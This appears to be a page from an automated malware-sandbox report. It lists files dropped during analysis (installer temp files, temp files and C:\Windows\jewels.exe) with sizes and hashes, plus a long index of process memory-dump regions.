91d4a8c2c296ef53dd8c01b9af69b735

SHA1
ad2e5311a0f2dbba988fbdb6fcf70034fda3920d

SHA256
a787e7a1ad12783fcbf3f853940590329e0ff0dddf17282324f2d95ed6408f23

SHA512
63c5506a55dea2b3bd1c99b79b5668f5afc0104564e92f07afb42f2f2b67eae9d0e0174cb36e6095a27a6c71496206042079b6e5a2b2ff787f3cb9ef20995e9e

Download Submit
C:\Windows\Installer\MSI3B6A.tmp
Filesize
914KB

MD5
91d4a8c2c296ef53dd8c01b9af69b735

SHA1
ad2e5311a0f2dbba988fbdb6fcf70034fda3920d

SHA256
a787e7a1ad12783fcbf3f853940590329e0ff0dddf17282324f2d95ed6408f23

SHA512
63c5506a55dea2b3bd1c99b79b5668f5afc0104564e92f07afb42f2f2b67eae9d0e0174cb36e6095a27a6c71496206042079b6e5a2b2ff787f3cb9ef20995e9e

Download Submit
C:\Windows\Installer\MSI3BE8.tmp
Filesize
789KB

MD5
dd1f93eb81e6c99ba9be55b0c12e8bb4

SHA1
1d767983aaa4eb5c9e19409cf529969142033850

SHA256
f55b853958f07b15f0dae7a871c1ebe2ec117ef54ba3811d31cec4c8ae471d9b

SHA512
7968839ca3e7337b2e7774d92c4a3666e9b7d8d76000475b39c2bda6db3320fc9b2100322505997798af5631a007787fbd8d0d6fe0b51949c545c67e696aaf1a

Download Submit
C:\Windows\Installer\MSI3BE8.tmp
Filesize
789KB

MD5
dd1f93eb81e6c99ba9be55b0c12e8bb4

SHA1
1d767983aaa4eb5c9e19409cf529969142033850

SHA256
f55b853958f07b15f0dae7a871c1ebe2ec117ef54ba3811d31cec4c8ae471d9b

SHA512
7968839ca3e7337b2e7774d92c4a3666e9b7d8d76000475b39c2bda6db3320fc9b2100322505997798af5631a007787fbd8d0d6fe0b51949c545c67e696aaf1a

Download Submit
C:\Windows\Installer\MSI3C47.tmp
Filesize
524KB

MD5
6ea65025106536eb75f026e46643b099

SHA1
d6f5801e370c92d8e5c2336b4022cc6cb6ec1f99

SHA256
dae76cce74d63e7935fde4383020659d75b68632f8a01f2053ec895e69bb4efb

SHA512
062aed4c7541346b7338e1d234a50aa9af76f103a65268ba65a42508a26c10cc27ccfce6131485403afa36d8a8cd69f3bf1e55cd1a1f675357b87228aacbb988

Download Submit
C:\Windows\Installer\MSI3C47.tmp
Filesize
524KB

MD5
6ea65025106536eb75f026e46643b099

SHA1
d6f5801e370c92d8e5c2336b4022cc6cb6ec1f99

SHA256
dae76cce74d63e7935fde4383020659d75b68632f8a01f2053ec895e69bb4efb

SHA512
062aed4c7541346b7338e1d234a50aa9af76f103a65268ba65a42508a26c10cc27ccfce6131485403afa36d8a8cd69f3bf1e55cd1a1f675357b87228aacbb988

Download Submit
C:\Windows\Installer\MSI3DBF.tmp
Filesize
604KB

MD5
0d093a6db075db4d3af06337a6cfc3f3

SHA1
7a27265809c47f96f29a09a960badd4c83bdb167

SHA256
f4c42c1393b907430c89bc504b24a589438690496a38bf7b75358adbdb48f6b3

SHA512
1d857ebfcf2526dd142ab72320073ae582dcf26c2d2a0d4c67267bd038182145572ca9c015f06a895555b90d8558dacfa4df6d7a105f6072d356a71532ac87f9

Download Submit
C:\Windows\Installer\MSI3DBF.tmp
Filesize
604KB

MD5
0d093a6db075db4d3af06337a6cfc3f3

SHA1
7a27265809c47f96f29a09a960badd4c83bdb167

SHA256
f4c42c1393b907430c89bc504b24a589438690496a38bf7b75358adbdb48f6b3

SHA512
1d857ebfcf2526dd142ab72320073ae582dcf26c2d2a0d4c67267bd038182145572ca9c015f06a895555b90d8558dacfa4df6d7a105f6072d356a71532ac87f9

Download Submit
C:\Windows\Installer\MSI3EF9.tmp
Filesize
789KB

MD5
dd1f93eb81e6c99ba9be55b0c12e8bb4

SHA1
1d767983aaa4eb5c9e19409cf529969142033850

SHA256
f55b853958f07b15f0dae7a871c1ebe2ec117ef54ba3811d31cec4c8ae471d9b

SHA512
7968839ca3e7337b2e7774d92c4a3666e9b7d8d76000475b39c2bda6db3320fc9b2100322505997798af5631a007787fbd8d0d6fe0b51949c545c67e696aaf1a

Download Submit
C:\Windows\Installer\MSI3EF9.tmp
Filesize
789KB

MD5
dd1f93eb81e6c99ba9be55b0c12e8bb4

SHA1
1d767983aaa4eb5c9e19409cf529969142033850

SHA256
f55b853958f07b15f0dae7a871c1ebe2ec117ef54ba3811d31cec4c8ae471d9b

SHA512
7968839ca3e7337b2e7774d92c4a3666e9b7d8d76000475b39c2bda6db3320fc9b2100322505997798af5631a007787fbd8d0d6fe0b51949c545c67e696aaf1a

Download Submit
C:\Windows\Installer\MSI3F28.tmp
Filesize
789KB

MD5
dd1f93eb81e6c99ba9be55b0c12e8bb4

SHA1
1d767983aaa4eb5c9e19409cf529969142033850

SHA256
f55b853958f07b15f0dae7a871c1ebe2ec117ef54ba3811d31cec4c8ae471d9b

SHA512
7968839ca3e7337b2e7774d92c4a3666e9b7d8d76000475b39c2bda6db3320fc9b2100322505997798af5631a007787fbd8d0d6fe0b51949c545c67e696aaf1a

Download Submit
C:\Windows\Installer\MSI3F28.tmp
Filesize
789KB

MD5
dd1f93eb81e6c99ba9be55b0c12e8bb4

SHA1
1d767983aaa4eb5c9e19409cf529969142033850

SHA256
f55b853958f07b15f0dae7a871c1ebe2ec117ef54ba3811d31cec4c8ae471d9b

SHA512
7968839ca3e7337b2e7774d92c4a3666e9b7d8d76000475b39c2bda6db3320fc9b2100322505997798af5631a007787fbd8d0d6fe0b51949c545c67e696aaf1a

Download Submit
C:\Windows\Installer\MSI3FC7.tmp
Filesize
189KB

MD5
b0dda68e058a4caa8b88aa2a47961d2a

SHA1
76af9de0d7512b9581a787648c2f8997ec1347dd

SHA256
05640fec802cc4f0f0865671473e54187ca3fc495b17d62e6d89b0019dda9291

SHA512
da9f0ee169deb615b1b771963f4fe0039e20e45d45a8ae6faeef22c9b8e5833f8f1eb67a4d3c4b0dd7dbb134da6230142ada3579d81a4020d4e4fb05ee9a5731

Download Submit
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.new
Filesize
466B

MD5
00360ff95de0fcfffc5090fd635db50f

SHA1
bf4b88e62c0dc455bcb3084c3c6508fbf5413962

SHA256
3cda4a4a61b8a9a0f5ff0bb24f73f6594ed5fad487019f7aed4d29bf835fd414

SHA512
24d34819b2d114aca55cd103acaf228bce074231982c20525dc85e08cd64582e45c953045387686cb42d83161497a27a0259d79bbd7f5516ab69ee1985329f51

Download Submit
C:\Windows\Temp\jzvobwl
Filesize
83KB

MD5
0b1607979373b4ed50c6d0b89eb157ab

SHA1
7c2f77f58d5cfbbddd572cef7e23d537567a7942

SHA256
1c80f750068ed4ca51348b189016113559a740215c4ff6593156fd5225272690

SHA512
3f6641421e8902432da2bedde2c870b3ed02a9f1e0ecbef78d66c968712817cdce37b6f4b74d666bb061933842e8ad62c5491ba44a38b3052296c74004dd9c56

Download Submit
C:\Windows\Temp\ylkwrve
Filesize
81KB

MD5
940b1915cadee0e2b33d80799816f6c7

SHA1
2c10e4fec3e8c054055d1ed78757117575f273f2

SHA256
81e89e7266cfe5158e44f5578c8be61353e781daebdd47a33597e9ec503d379c

SHA512
cc3c574fd5392c1b54146b591e22b1c01c95e34a602c403ad96c49b7ee6ad31d1478a00cc1334286addc5cb94496372a172745e9ad20554023e1e22c7da1e1c5

Download Submit
C:\Windows\jewels.exe
Filesize
45KB

MD5
a11f42d9f092545ad6b04abbf388661b

SHA1
705f8797c5b0637ef411d915ed4541856e6ca6af

SHA256
39e6a467846384af59aa3013a8d2be68cb6c261d905b71f68062aac2104f6bd4

SHA512
46db68c689d4ff58802c9187e58aedfb20ec592e2f7651a09403e83bf88f67df424c610bc3e0a7983b8ed1f68e2bea2e015b6219dd7e613c5f2b09ff067be225

Download Submit
memory/1872-1576-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2502-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-3360-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-969-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-971-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-973-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-976-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-977-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-974-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-978-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-999-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1011-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1012-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1014-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-3024-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1082-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1086-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1175-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1179-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1188-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1271-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1390-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1459-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1460-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1471-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1673-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1753-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1754-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2845-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2826-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2827-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1766-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1865-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-1960-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2039-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2038-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2720-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2083-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2238-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2609-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2366-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2501-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1872-2508-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2508-7579-0x0000000001930000-0x0000000001940000-memory.dmp

Filesize
64KB

Download
memory/2508-5911-0x0000000001930000-0x0000000001940000-memory.dmp

Filesize
64KB

Download
memory/3632-9059-0x00000000019A0000-0x00000000019B0000-memory.dmp

Filesize
64KB

Download
memory/4060-8902-0x0000000000070000-0x0000000000078000-memory.dmp

Filesize
32KB

Download
memory/4060-8901-0x0000000000790000-0x00000000007A0000-memory.dmp

Filesize
64KB

Download
memory/4184-8871-0x00000000053F0000-0x0000000005400000-memory.dmp

Filesize
64KB

Download
memory/4184-8872-0x00000000053F0000-0x0000000005400000-memory.dmp

Filesize
64KB

Download
memory/4260-1422-0x000001C722F50000-0x000001C722F51000-memory.dmp

Filesize
4KB

Download
memory/4260-1423-0x000001C722F50000-0x000001C722F51000-memory.dmp

Filesize
4KB

Download
memory/4260-1421-0x000001C722F50000-0x000001C722F51000-memory.dmp

Filesize
4KB

Download
memory/4260-1434-0x000001C722F50000-0x000001C722F51000-memory.dmp

Filesize
4KB

Download
memory/4260-1435-0x000001C722F50000-0x000001C722F51000-memory.dmp

Filesize
4KB

Download
memory/4260-1437-0x000001C722F50000-0x000001C722F51000-memory.dmp

Filesize
4KB

Download
memory/4260-1438-0x000001C722F50000-0x000001C722F51000-memory.dmp

Filesize
4KB

Download
memory/4260-1439-0x000001C722F50000-0x000001C722F51000-memory.dmp

Filesize
4KB

Download
memory/4260-1440-0x000001C722F50000-0x000001C722F51000-memory.dmp

Filesize
4KB

Download
memory/4260-1436-0x000001C722F50000-0x000001C722F51000-memory.dmp

Filesize
4KB

Download
memory/4340-10661-0x000001D6A32A0000-0x000001D6A32F2000-memory.dmp

Filesize
328KB

Download
memory/4384-2820-0x00000000020B0000-0x00000000020F0000-memory.dmp

Filesize
256KB

Download
memory/4384-2902-0x0000000000400000-0x00000000004AF000-memory.dmp

Filesize
700KB

Download
memory/4840-4332-0x00000000018E0000-0x00000000018F0000-memory.dmp

Filesize
64KB

Download
memory/4840-4617-0x00000000018E0000-0x00000000018F0000-memory.dmp

Filesize
64KB

Download
memory/5172-8299-0x0000000004BB0000-0x0000000004BC0000-memory.dmp

Filesize
64KB

Download
memory/5172-8298-0x0000000004BB0000-0x0000000004BC0000-memory.dmp

Filesize
64KB

Download
memory/5368-4254-0x0000000000020000-0x0000000000B28000-memory.dmp

Filesize
11.0MB

Download
memory/5524-8936-0x0000000001100000-0x0000000001110000-memory.dmp

Filesize
64KB

Download
memory/5576-4030-0x0000000002540000-0x0000000002576000-memory.dmp

Filesize
216KB

Download
memory/5576-4037-0x00000000024E0000-0x00000000024F0000-memory.dmp

Filesize
64KB

Download
memory/5576-4036-0x0000000004E20000-0x0000000005448000-memory.dmp

Filesize
6.2MB

Download
memory/5576-4038-0x00000000024E0000-0x00000000024F0000-memory.dmp

Filesize
64KB

Download
memory/5576-4162-0x00000000024E0000-0x00000000024F0000-memory.dmp

Filesize
64KB

Download
memory/5576-4185-0x00000000024E0000-0x00000000024F0000-memory.dmp

Filesize
64KB

Download
memory/5576-4039-0x0000000005450000-0x00000000054B6000-memory.dmp

Filesize
408KB

Download
memory/5576-4161-0x00000000024E0000-0x00000000024F0000-memory.dmp

Filesize
64KB

Download
memory/5576-4080-0x0000000006090000-0x00000000060AA000-memory.dmp

Filesize
104KB

Download
memory/5576-4079-0x0000000007410000-0x0000000007A8A000-memory.dmp

Filesize
6.5MB

Download
memory/5576-4073-0x00000000024E0000-0x00000000024F0000-memory.dmp

Filesize
64KB

Download
memory/5576-4060-0x0000000005BB0000-0x0000000005BCE000-memory.dmp

Filesize
120KB

Download
memory/5576-4040-0x00000000054F0000-0x0000000005556000-memory.dmp

Filesize
408KB

Download
memory/5608-8242-0x0000000007650000-0x00000000076E6000-memory.dmp

Filesize
600KB

Download
memory/5608-8255-0x0000000005F30000-0x0000000005F3E000-memory.dmp

Filesize
56KB

Download
memory/5608-8256-0x00000000075F0000-0x000000000760A000-memory.dmp

Filesize
104KB

Download
memory/5608-8258-0x00000000075E0000-0x00000000075E8000-memory.dmp

Filesize
32KB

Download
memory/5608-8219-0x000000006EDE0000-0x000000006EE2C000-memory.dmp

Filesize
304KB

Download
memory/5608-8229-0x0000000006600000-0x000000000661E000-memory.dmp

Filesize
120KB

Download
memory/5608-8218-0x0000000007070000-0x00000000070A2000-memory.dmp

Filesize
200KB

Download
memory/5608-8200-0x0000000004B50000-0x0000000004B60000-memory.dmp

Filesize
64KB

Download
memory/5608-8243-0x000000007F9D0000-0x000000007F9E0000-memory.dmp

Filesize
64KB

Download
memory/5608-8232-0x0000000007220000-0x000000000722A000-memory.dmp

Filesize
40KB

Download
memory/5608-8201-0x0000000004B50000-0x0000000004B60000-memory.dmp

Filesize
64KB

Download
memory/5608-8244-0x0000000004B50000-0x0000000004B60000-memory.dmp

Filesize
64KB

Download
memory/5680-9040-0x0000000001430000-0x0000000001440000-memory.dmp

Filesize
64KB

Download
memory/5716-8903-0x0000000000900000-0x0000000000908000-memory.dmp

Filesize
32KB

Download
memory/5716-8900-0x0000000001350000-0x0000000001360000-memory.dmp

Filesize
64KB

Download
memory/5764-8813-0x000000007F5D0000-0x000000007F5E0000-memory.dmp

Filesize
64KB

Download
memory/5764-8811-0x0000000004D10000-0x0000000004D20000-memory.dmp

Filesize
64KB

Download
memory/5764-8814-0x0000000004D10000-0x0000000004D20000-memory.dmp

Filesize
64KB

Download
memory/5764-8812-0x0000000004D10000-0x0000000004D20000-memory.dmp

Filesize
64KB

Download
memory/5764-8796-0x000000006CD30000-0x000000006CD7C000-memory.dmp

Filesize
304KB

Download
memory/5872-3623-0x0000000001090000-0x00000000010A0000-memory.dmp

Filesize
64KB

Download
memory/5872-3813-0x0000000001090000-0x00000000010A0000-memory.dmp

Filesize
64KB

Download
memory/5952-2740-0x0000000000400000-0x00000000004D8000-memory.dmp

Filesize
864KB

Download
memory/5952-2866-0x0000000000400000-0x00000000004D8000-memory.dmp

Filesize
864KB

Download
memory/6008-2764-0x0000000000800000-0x0000000000801000-memory.dmp

Filesize
4KB

Download
memory/6008-2867-0x0000000000400000-0x000000000071B000-memory.dmp

Filesize
3.1MB

Download
memory/6008-3181-0x0000000000400000-0x000000000071B000-memory.dmp

Filesize
3.1MB

Download
memory/6008-2878-0x0000000000800000-0x0000000000801000-memory.dmp

Filesize
4KB

Download
memory/6068-4210-0x0000000000800000-0x000000000080D000-memory.dmp

Filesize
52KB

Download
memory/6068-4349-0x0000000000800000-0x000000000080D000-memory.dmp

Filesize
52KB

Download
memory/6076-8836-0x0000000005350000-0x0000000005360000-memory.dmp

Filesize
64KB

Download
memory/6108-3952-0x0000000000020000-0x0000000000B28000-memory.dmp

Filesize
11.0MB

Download
memory/6108-4150-0x0000000005580000-0x0000000005590000-memory.dmp

Filesize
64KB

Download
memory/6108-4126-0x0000000000020000-0x0000000000B28000-memory.dmp

Filesize
11.0MB

Download
memory/6108-4024-0x0000000005580000-0x0000000005590000-memory.dmp

Filesize
64KB

Download
memory/6108-4017-0x0000000005900000-0x0000000005922000-memory.dmp

Filesize
136KB

Download
memory/6108-4005-0x0000000000020000-0x0000000000B28000-memory.dmp

Filesize
11.0MB

Download
memory/6108-4266-0x0000000000020000-0x0000000000B28000-memory.dmp

Filesize
11.0MB

Download
memory/6108-3999-0x0000000000020000-0x0000000000B28000-memory.dmp

Filesize
11.0MB

Download